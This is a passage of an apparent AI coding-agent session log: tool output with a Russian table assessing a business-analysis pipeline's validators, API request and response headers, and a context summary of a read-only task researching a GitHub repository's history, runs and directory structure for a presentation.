\u043a\u043e\u043d\u0447\u0430\u0435\u0442\u0441\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f G-mach\\n--\\n173:| \u0413-16 | \u0421\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Working \u0434\u0430\u0451\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Release | \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 Golden \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 `release.json` (\u043f\u0440\u043e\u0431\u0430 `P5`). \u0412\u044b\u0432\u043e\u0434 \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON \u0441 \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u043a\u043b\u044e\u0447\u0435\u0439 ([`canonical`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L20-L29)); `validate-release` \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041f\u0440\u0438\u043d\u044f\u0442\u044c** \u043a\u0430\u043a \u043e\u043f\u043e\u0440\u0443: \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 6, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 Working \u0434\u043e Release |\\n174-| \u0413-17 | \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 PASS \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0438 \u0446\u0438\u0442\u0430\u0442\u044b \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u043d\u0438\u0445 | \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0441\u0443\u043c\u043c\u0430 \u2014 `sha256` \u043e\u0442 \u0441\u0430\u043c\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b ([`EVID-03`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L178-L185)); `retrieval_status: \\\"read\\\"` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. \u0427\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0441 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c `https://nonexistent.invalid/page/42` \u0438 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 `PASS` (\u043f\u0440\u043e\u0431\u0430 `P4`). \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 [\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 G-human](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/evaluation/g-human-checklist.md#L10) \u043e\u0442\u0434\u0430\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c**: \u0441\u0443\u043c\u043c\u0430 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0435\u0451 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u044c. **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** \u0434\u043b\u044f KB: \u0435\u0441\u043b\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u0444\u0430\u0439\u043b `docs/kb/`, runner \u043c\u043e\u0436\u0435\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0430 \u0435\u0441\u0442\u044c \u0432 \u0444\u0430\u0439\u043b\u0435 |\",\n[2026-09-29T07:47:45.380Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:45.380Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:45.380Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:45.380Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:45.380Z] [INFO]   }\n[2026-09-29T07:47:45.380Z] [INFO] }\n[2026-09-29T07:47:45.409Z] [STDOUT] [log_f372e1] sending request {\n[2026-09-29T07:47:45.411Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:45.414Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:45.418Z] [STDOUT]   options: {\n[2026-09-29T07:47:45.420Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:45.422Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:45.426Z] [STDOUT]     body: {\n[2026-09-29T07:47:45.428Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:45.430Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:45.436Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:45.440Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:45.443Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:45.446Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:45.448Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:45.451Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:45.453Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:45.456Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:45.458Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:45.460Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:45.462Z] [STDOUT]     },\n[2026-09-29T07:47:45.465Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:45.467Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:45.471Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:45.476Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:45.482Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:45.487Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:45.494Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:45.501Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:45.505Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:45.510Z] [STDOUT]     },\n[2026-09-29T07:47:45.513Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:45.517Z] [STDOUT]   },\n[2026-09-29T07:47:45.525Z] [STDOUT]   headers: {\n[2026-09-29T07:47:45.532Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:45.539Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:45.556Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:45.562Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:45.567Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:45.570Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:45.572Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:45.578Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:45.584Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:45.591Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1732;Bash=1699\",\n[2026-09-29T07:47:45.595Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:45.598Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:45.603Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:45.606Z] [STDOUT]     \"x-client-request-id\": \"742eeda1-9fec-4547-bfc3-be06900b6120\",\n[2026-09-29T07:47:45.608Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:45.619Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:45.622Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:45.633Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:45.636Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:45.640Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:45.643Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:45.648Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:45.654Z] [STDOUT]   },\n[2026-09-29T07:47:45.661Z] [STDOUT] }\n[2026-09-29T07:47:46.184Z] [STDOUT] [log_f372e1, request-id: \"req_011CfXMw87CXVyPQ8Ppqc1Yb\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 775ms\n[2026-09-29T07:47:46.188Z] [STDOUT] [log_f372e1] response start {\n[2026-09-29T07:47:46.192Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:46.195Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:46.198Z] [STDOUT]   headers: {\n[2026-09-29T07:47:46.201Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:46.204Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:46.207Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:46.210Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:46.213Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:46.216Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:46.219Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:46.224Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:46.247Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:46.256Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:46.262Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:46.270Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:46.279Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:46.286Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:46.290Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:46.294Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:46.298Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:46.304Z] [STDOUT]     \"cf-ray\": \"a42961b0dcf5dbb5-FRA\",\n[2026-09-29T07:47:46.306Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:46.310Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:46.313Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:46.326Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:46.332Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:46 GMT\",\n[2026-09-29T07:47:46.345Z] [STDOUT]     \"request-id\": \"req_011CfXMw87CXVyPQ8Ppqc1Yb\",\n[2026-09-29T07:47:46.350Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:46.356Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:46.362Z] [STDOUT]     traceresponse: \"00-86d1ca49cf41497ad507b48c49382bfb-831ba15a6a4528ba-01\",\n[2026-09-29T07:47:46.366Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:46.370Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:46.375Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:46.378Z] [STDOUT]   },\n[2026-09-29T07:47:46.381Z] [STDOUT]   durationMs: 775,\n[2026-09-29T07:47:46.385Z] [STDOUT] }\n[2026-09-29T07:47:46.389Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:46.396Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:46 GMT\",\n[2026-09-29T07:47:46.400Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:46.403Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:46.408Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:46.413Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:46.417Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:46.422Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:46.428Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:46.431Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:46.436Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:46.440Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:46.443Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:46.447Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:46.450Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:46.454Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:46.460Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:46.464Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:46.467Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:46.470Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:46.476Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:46.479Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:46.483Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:46.486Z] [STDOUT]   \"request-id\": \"req_011CfXMw87CXVyPQ8Ppqc1Yb\",\n[2026-09-29T07:47:46.491Z] [STDOUT]   \"traceresponse\": \"00-86d1ca49cf41497ad507b48c49382bfb-831ba15a6a4528ba-01\",\n[2026-09-29T07:47:46.496Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:46.502Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:46.504Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:46.508Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:46.512Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:46.516Z] [STDOUT]   \"cf-ray\": \"a42961b0dcf5dbb5-FRA\",\n[2026-09-29T07:47:46.519Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:46.528Z] [STDOUT] [log_f372e1] response parsed {\n[2026-09-29T07:47:46.535Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:46.540Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:46.548Z] [STDOUT]   body: X {\n[2026-09-29T07:47:46.554Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:46.557Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:46.559Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:46.563Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:46.567Z] [STDOUT]     },\n[2026-09-29T07:47:46.570Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:46.573Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:46.580Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:46.584Z] [STDOUT]   },\n[2026-09-29T07:47:46.593Z] [STDOUT]   durationMs: 776,\n[2026-09-29T07:47:46.607Z] [STDOUT] }\n[2026-09-29T07:47:46.698Z] [INFO] {\n[2026-09-29T07:47:46.698Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:46.698Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:46.698Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:46.698Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:46.698Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:46.698Z] [INFO]   \"uuid\": \"30e9aa32-9297-41c3-975a-16f97807a66c\"\n[2026-09-29T07:47:46.698Z] [INFO] }\n[2026-09-29T07:47:47.954Z] [INFO] {\n[2026-09-29T07:47:47.954Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:47.954Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:47.954Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:47:47.954Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:47.954Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:47.954Z] [INFO]   \"uuid\": \"42cbea5e-df89-4837-ba1e-2e5d70c0be29\"\n[2026-09-29T07:47:47.954Z] [INFO] }\n[2026-09-29T07:47:48.908Z] [INFO] {\n[2026-09-29T07:47:48.908Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"message\": {\n[2026-09-29T07:47:48.908Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:48.908Z] [INFO]     \"content\": [\n[2026-09-29T07:47:48.908Z] [INFO]       {\n[2026-09-29T07:47:48.908Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:47:48.908Z] [INFO]         \"text\": \"This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.\\n\\nSummary:\\n1. Primary Request and Intent:\\nThe parent agent assigned a read-only research task. Constraint, verbatim: \\\"do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md\\\". The repo G-Ivan-A/mango_ba_prompts is cloned at /tmp/mango_ba_prompts (583 commits). The purpose is an executive presentation to the Head of AI development at Mango about a BA meta-model: how the project evolved \\\"from chaotic prompt attempts to a systematic methodology\\\", based on 60+ recorded task runs.\\n\\nThe factual evidence report (Russian or English) must cover six areas, with exact paths and commit hashes/dates:\\n1. Top-level directory structure.\\n2. Runs: exact count and how it was counted, date range, record structure, task categories, and aggregated metrics with concrete numbers.\\n3. Evolution timeline from git log: phases and turning points (golden templates, validators, fail-closed, human gate, KB).\\n4. Documented lessons and defects (failure modes of direct LLM generation), with quotes.\\n5. Target-pipeline artifacts: normalization, reconciliation with docs, generation from golden templates with source links, human gate, translation to a development format.\\n6. Runtime environments (GigaCode, Cline, CLI, etc.).\\n\\nAlso required:\\n- GitHub URL format https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/, with the default branch verified.\\n- No invented numbers.\\n- `mkdir -p /tmp/research-notes`, then write the full report there.\\n- Return a concise summary (up to ~1500 words) with the most presentation-worthy facts.\\n- No emojis, absolute paths, and no other .md report files.\\n\\n2. Key Technical Concepts:\\n- Hub/spoke model: the spoke grew out of the monorepo Hub \\\"hybrid-Intelligence-lab\\\". The public playbooks repo is ai-ba-playbooks. The KB was later moved to the sister repo G-Ivan-A/mango-ba-ai-runtime (issue #361; pinned commit ed42b3cd0eed2774c9b080232ca00484d9a4f7cd; scripts/kb/runtime_snapshot.py).\\n- Taxonomy: 13 cognitive operations and 9 BA processes (docs/taxonomy.md).\\n- Prompt modes: stepwise / oneshot / legacy.\\n- Standards:\\n  - Prompt standard: 4 required frontmatter fields (status, version, updated, temperature 0.1).\\n  - Pattern standard: 8 fields.\\n- Runs contract: runs/YYYY/RUN-XXXX/ containing metadata.yaml, inputs/, outputs/, feedback/, logs/.\\n  - run_type values: execution / statistics / legacy (issue #293).\\n  - metrics block added by issue #271.\\n- Principles and gates:\\n  - DoD principle: \\\"\u041a\u0430\u0436\u0434\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0411\u0410 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u2014 \u0447\u0435\u043a-\u043b\u0438\u0441\u0442, evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0443 \u0438\u043b\u0438 human-in-the-loop gate. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0439.\\\"\\n  - Honest gap: \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\" (README.md, ai-governance/ai-governance.md:90, pr-ops/BACKLOG.md:324 issue #263).\\n  - fail-closed appears in ai-rules/ai-quick-rules.md and 17 files; \\\"human gate\\\" appears in 30 files.\\n  - Validators: scripts/validate_issue_*.py, scripts/validate_all.py, tools/validate-*.sh, CI .github/workflows/validate.yml.\\n- Citation formats: `[\u0414\u041e\u041a, \u00a7X \u00ab\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a\u00bb, \u0441.Y](url)` pinned to a runtime commit (scripts/validate_issue_363_run.py, validate_issue_365_run.py). KB cross-verification uses pdfplumber vs PyMuPDF (scripts/kb/verify_extraction.py).\\n\\n3. Files and Code Sections (all paths relative to /tmp/mango_ba_prompts):\\n\\nGit facts:\\n- Default branch is main (remote HEAD \u2192 origin/main). Other branches: gh-pages, revert-340-issue-339-c354031e9147.\\n- 583 commits: 174 merges, 409 non-merge.\\n- Commits by month (all / non-merge): 2026-06 267/193; 2026-07 9/7; 2026-08 269/179; 2026-09 38/30.\\n- Authors: konard 442 (AI issue-solver bot), Ivan Gulienko 140, unknown 1.\\n- First commit: 53506bc on 2026-06-02, \\\"Add files via upload\\\" (README.md only). Last commit: 317a0a1 on 2026-09-28, merge PR #366.\\n\\nTop-level directories:\\n- ai-governance/ (4 files): constitution, security checklist.\\n- ai-rules/ (6): quick rules (fail-closed), handover prompt, onboarding protocol v1.5, adversarial-stress-testing.\\n- docs/ (86): adr/ (ADR 001\u2013011, 0001\u20130004), analysis/, audit/, report/, rfc/, ba-processes/, taxonomy.md, ba-ecosystem.md, screenshots/, superpowers/plans/.\\n- experiments/ (101): run-fixation and statistics scripts per issue.\\n- kb/ (41): README, USAGE, STRUCTURE_REVIEW, practices/source-backed-analysis.md, sources/*/meta.json. processed/ now points to the runtime repo.\\n- patterns/ (15): 7 patterns (asr-ingestion, fr-generation, fr-validation, glossary-context-generation, meeting-summary-generation, usecase-generation, user-story-generation).\\n- pr-ops/ (8): BACKLOG, artifact-map, migration manifest/registries, prompt-feedback.json, session-digests, sync-matrix.\\n- prompts/ (34): 26 top-level prompt files (oneshot/stepwise/legacy variants) plus archive/.\\n- runs/ (697 files).\\n- scripts/ (60): validators, generators, chat-export converters.\\n- site/ (26): SPA with Catalog, Dashboard, Roadmap, Processes, Patterns; password-protected reports/run-0060.\\n- standards/ (20): prompt, pattern, runs-contract, evals-contract, kb, bcreq-process, prompt-debugging-process, experiment-log, cascading-context-loading, ontology, etc.\\n- tools/ (5): Hub validators \u2014 frontmatter, file naming, structure.\\n- .archive/ and .github/ (ISSUE_TEMPLATE, workflows).\\n- Root files: README.md v2.4, CHANGELOG.md (216 KB), CONTRIBUTING.md, Makefile, LICENSE (MIT), .hub-profile.json.\\n\\nRuns, counted precisely:\\n- Counted with `ls runs/2026` and `ls -d runs/2026/RUN-*`: 69 directories, RUN-0001..RUN-0069, contiguous. All 69 have metadata.yaml, parsed with PyYAML.\\n- run_type: statistics 48, execution 21.\\n- status: draft 37, works-with-edits 19, partial-success 8, success 2 (RUN-0006, RUN-0060), experimental 1, needs-rework 1 (RUN-0020), invalid 1 (RUN-0063, superseded by RUN-0067).\\n- Metadata dates run from 2026-04-10 (RUN-0027) to 2026-09-28 (RUN-0068/0069). Commits only start 2026-06-02; earlier runs were fixed retroactively from chat exports.\\n- RUN-0001..0012 were migrated in Phase 0 (issue #123).\\n- RUN-0030..0054 are 25 chat exports from issue #309, generated by experiments/issue_309_fixate_runs.py (commit 946e605, 2026-08-22).\\n- Field presence: metrics 56, feedback 56, logs 59, inputs 59, related_runs 32.\\n- Model field:\\n  - not-recorded 10.\\n  - Qwen family: qwen3.5/3.6/3.7-plus, qwen3-max variants, qwen3-235b-a22b, qwen3-coder-plus, 